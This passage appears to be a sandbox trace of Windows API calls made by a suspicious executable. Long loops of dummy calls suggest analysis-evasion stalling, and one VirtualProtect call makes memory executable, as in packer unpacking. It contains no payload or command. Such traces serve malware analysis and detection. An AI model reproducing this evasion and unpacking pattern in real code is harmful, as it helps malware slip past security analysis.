lpmi=0x18fe38) returned 0 [0112.740] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.740] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.740] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.740] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.741] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.741] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.741] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.741] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.741] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.741] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.741] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.741] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.741] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.741] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.741] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.741] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.741] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.741] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.741] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.741] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.741] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.741] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.741] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.741] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.741] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.741] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.741] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.741] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.741] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.741] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.741] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.741] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.741] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.741] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.742] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.742] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.742] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.742] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.742] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.742] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.742] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.742] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.742] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.742] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.742] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.742] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.742] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.742] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.742] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.742] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.742] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.742] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.742] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.742] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.742] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.742] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.742] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.742] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.742] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.742] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.742] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.742] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.742] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.742] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.743] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.743] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.743] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.743] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.743] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.743] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.743] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.743] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.743] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.743] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.743] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.743] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.743] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.743] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.743] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.743] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.743] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.743] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.743] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.743] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.743] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.743] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.743] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.743] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.743] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.743] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.743] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.743] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.743] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.743] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.744] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.744] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.744] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.744] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.744] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.744] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.744] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.744] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.744] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.744] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.744] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.038] Module32First (hSnapshot=0x5c, lpme=0x18fbc0) returned 1 [0117.039] CloseHandle (hObject=0x5c) returned 1 [0117.039] BeginPaint (in: hWnd=0x0, lpPaint=0x0 | out: lpPaint=0x0) returned 0x0 [0117.039] GetLastError () returned 0x578 [0117.052] LocalFree (hMem=0x6ca1b0) returned 0x0 [0117.052] VirtualProtect (in: lpAddress=0x692a70, dwSize=0x29967, flNewProtect=0x40, lpflOldProtect=0x474f58 | out: lpflOldProtect=0x474f58*=0x4) returned 1 [0117.052] GetLastError () returned 0x578 [0117.052] AddAtomA (lpString=0x0) returned 0x0 [0117.052] AddAtomA (lpString=0x0) returned 0x0 [0117.052] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.053] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.053] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.053] GetLastError () returned 0x3 [0117.053] AddAtomA (lpString=0x0) returned 0x0 [0117.053] AddAtomA (lpString=0x0) returned 0x0 [0117.053] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.053] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.053] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.053] GetLastError () returned 0x3 [0117.053] AddAtomA (lpString=0x0) returned 0x0 [0117.053] AddAtomA (lpString=0x0) returned 0x0 [0117.053] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.053] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.053] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.053] GetLastError () returned 0x3 [0117.053] AddAtomA (lpString=0x0) returned 0x0 [0117.053] AddAtomA (lpString=0x0) returned 0x0 [0117.053] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.053] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.053] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.053] GetLastError () returned 0x3 [0117.053] AddAtomA (lpString=0x0) returned 0x0 [0117.053] AddAtomA (lpString=0x0) returned 0x0 [0117.053] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.053] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.053] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.053] GetLastError () returned 0x3 [0117.053] AddAtomA (lpString=0x0) returned 0x0 [0117.054] AddAtomA (lpString=0x0) returned 0x0 [0117.054] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.054] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.054] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.054] GetLastError () returned 0x3 [0117.054] AddAtomA (lpString=0x0) returned 0x0 [0117.054] AddAtomA (lpString=0x0) returned 0x0 [0117.054] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.054] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.054] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.054] GetLastError () returned 0x3 [0117.054] AddAtomA (lpString=0x0) returned 0x0 [0117.054] AddAtomA (lpString=0x0) returned 0x0 [0117.054] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.054] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.054] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.054] GetLastError () returned 0x3 [0117.054] AddAtomA (lpString=0x0) returned 0x0 [0117.054] AddAtomA (lpString=0x0) returned 0x0 [0117.054] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.054] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.054] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.054] GetLastError () returned 0x3 [0117.054] AddAtomA (lpString=0x0) returned 0x0 [0117.054] AddAtomA (lpString=0x0) returned 0x0 [0117.054] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.054] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.054] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.054] GetLastError () returned 0x3 [0117.054] AddAtomA (lpString=0x0) returned 0x0 [0117.054] AddAtomA (lpString=0x0) returned 0x0 [0117.054] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.054] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.055] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.055] GetLastError () returned 0x3 [0117.055] AddAtomA (lpString=0x0) returned 0x0 [0117.055] AddAtomA (lpString=0x0) returned 0x0 [0117.055] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.055] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.055] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.055] GetLastError () returned 0x3 [0117.055] AddAtomA (lpString=0x0) returned 0x0 [0117.055] AddAtomA (lpString=0x0) returned 0x0 [0117.055] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.055] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.055] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.055] GetLastError () returned 0x3 [0117.055] AddAtomA (lpString=0x0) returned 0x0 [0117.055] AddAtomA (lpString=0x0) returned 0x0 [0117.055] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.055] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.055] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.055] GetLastError () returned 0x3 [0117.055] AddAtomA (lpString=0x0) returned 0x0 [0117.055] AddAtomA (lpString=0x0) returned 0x0 [0117.055] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.055] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.055] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.055] GetLastError () returned 0x3 [0117.055] AddAtomA (lpString=0x0) returned 0x0 [0117.055] AddAtomA (lpString=0x0) returned 0x0 [0117.055] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.055] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.055] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.055] GetLastError () returned 0x3 [0117.056] AddAtomA (lpString=0x0) returned 0x0 [0117.056] AddAtomA (lpString=0x0) returned 0x0 [0117.056] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.056] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.056] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.056] GetLastError () returned 0x3 [0117.056] AddAtomA (lpString=0x0) returned 0x0 [0117.056] AddAtomA (lpString=0x0) returned 0x0 [0117.056] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.056] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.056] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.056] GetLastError () returned 0x3 [0117.056] AddAtomA (lpString=0x0) returned 0x0 [0117.056] AddAtomA (lpString=0x0) returned 0x0 [0117.056] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.056] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.056] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.056] GetLastError () returned 0x3 [0117.056] AddAtomA (lpString=0x0) returned 0x0 [0117.056] AddAtomA (lpString=0x0) returned 0x0 [0117.057] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.057] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.057] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.057] GetLastError () returned 0x3 [0117.057] AddAtomA (lpString=0x0) returned 0x0 [0117.057] AddAtomA (lpString=0x0) returned 0x0 [0117.057] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.057] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.057] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.057] GetLastError () returned 0x3 [0117.057] AddAtomA (lpString=0x0) returned 0x0 [0117.057] AddAtomA (lpString=0x0) returned 0x0 [0117.057] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.057] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.057] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.057] GetLastError () returned 0x3 [0117.057] AddAtomA (lpString=0x0) returned 0x0 [0117.057] AddAtomA (lpString=0x0) returned 0x0 [0117.057] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.057] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.058] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.058] GetLastError () returned 0x3 [0117.058] AddAtomA (lpString=0x0) returned 0x0 [0117.058] AddAtomA (lpString=0x0) returned 0x0 [0117.058] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.058] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.058] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.058] GetLastError () returned 0x3 [0117.058] AddAtomA (lpString=0x0) returned 0x0 [0117.058] AddAtomA (lpString=0x0) returned 0x0 [0117.058] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.290] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.291] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.291] GetLastError () returned 0x3 [0117.291] AddAtomA (lpString=0x0) returned 0x0 [0117.291] AddAtomA (lpString=0x0) returned 0x0 [0117.291] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.291] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.291] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: 